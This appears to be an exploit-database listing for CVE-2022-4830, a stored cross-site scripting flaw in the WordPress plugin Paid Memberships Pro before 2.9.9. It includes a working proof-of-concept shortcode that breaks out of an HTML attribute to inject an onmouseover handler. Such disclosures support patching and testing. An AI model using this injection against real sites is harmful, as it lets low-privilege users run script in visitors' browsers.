Exploit for Paid Memberships Pro < 2.9.9 - Contributor+ Stored XSS via Shortcode CVE-2022-4830

Name: Exploit for Paid Memberships Pro < 2.9.9 - Contributor+ Stored XSS via Shortcode CVE-2022-4830
Rating: 5 (193 reviews)

2023-01-27 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:AE103336-A411-4EBF-A5F0-2F35701E364C
1. Insert the following shortcode into a page/post:

[pmpro_checkout_button class='" onmouseover="alert(1)"']

2. Browse the page and hover over the button.